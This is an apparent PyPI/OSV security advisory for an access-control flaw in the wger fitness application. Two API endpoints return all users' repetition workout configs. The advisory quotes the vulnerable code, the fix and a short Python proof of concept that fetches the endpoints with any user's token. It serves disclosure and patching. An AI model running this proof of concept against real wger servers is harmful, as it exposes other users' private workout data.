id: PYSEC-2026-3423
published: "2026-07-13T14:36:39.470269Z"
modified: "2026-07-13T16:07:33.065307Z"
aliases:
- CVE-2026-27835
- GHSA-xf68-8hjw-7mpm
summary: "wger: IDOR in RepetitionsConfig and MaxRepetitionsConfig API leak other users' workout data"
details: "### Summary\n\n`RepetitionsConfigViewSet` and `MaxRepetitionsConfigViewSet` return all users' repetition config data because their `get_queryset()` calls `.all()` instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.\n\n### Details\n\n`wger/manager/api/views.py:499` and `:518`:\n\n```python\n# VULNERABLE\nclass RepetitionsConfigViewSet(viewsets.ModelViewSet):\n    def get_queryset(self):\n        return RepetitionsConfig.objects.all()\n\nclass MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):\n    def get_queryset(self):\n        return MaxRepetitionsConfig.objects.all()\n```\n\nEvery sibling viewset in the same file correctly filters by user. For example, `WeightConfigViewSet` at line 459:\n\n```python\n# CORRECT — how it should work\ndef get_queryset(self):\n    return WeightConfig.objects.filter(\n        slot_entry__slot__day__routine__user=self.request.user\n    )\n```\n\nThe same user filter is present on `SetsConfig`, `RestConfig`, `RiRConfig`, and their Max variants — only `RepetitionsConfig` and `MaxRepetitionsConfig` are missing it.\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\nheaders = {\"Authorization\": \"Token YOUR_TOKEN\"}  # any registered user\n\nr = requests.get(f\"{BASE}/api/v2/repetitions-config/\", headers=headers)\nprint(r.json())  # returns ALL users' repetition configs, not just your own\n\nr = requests.get(f\"{BASE}/api/v2/max-repetitions-config/\", headers=headers)\nprint(r.json())  # same — all users' max repetition configs\n```\n\nRegistration is open by default. Sequential IDs allow full enumeration.\n\n### Impact\n\nAny authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.\n\n**Fix**: Add the same user filter used by every other config viewset:\n```python\ndef get_queryset(self):\n    return RepetitionsConfig.objects.filter(\n        slot_entry__slot__day__routine__user=self.request.user\n    )\n```"
affected:
- package:
    name: wger
    ecosystem: PyPI
    purl: pkg:pypi/wger
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - last_affected: "2.1"
  versions:
  - "1.1"
  - 1.1.1
  - "1.2"
  - 1.2rc1
  - "1.3"
  - "1.4"
  - "1.5"
  - "1.6"
  - 1.6.1
  - "1.7"
  - "1.8"
  - "1.9"
  - "2.0"
  - "2.1"
references:
- type: WEB
  url: https://github.com/wger-project/wger/security/advisories/GHSA-xf68-8hjw-7mpm
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-27835
- type: WEB
  url: https://github.com/wger-project/wger/commit/1fda5690b35706bb137850c8a084ec6a13317b64
- type: PACKAGE
  url: https://github.com/wger-project/wger
- type: PACKAGE
  url: https://pypi.org/project/wger
- type: ADVISORY
  url: https://github.com/advisories/GHSA-xf68-8hjw-7mpm
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N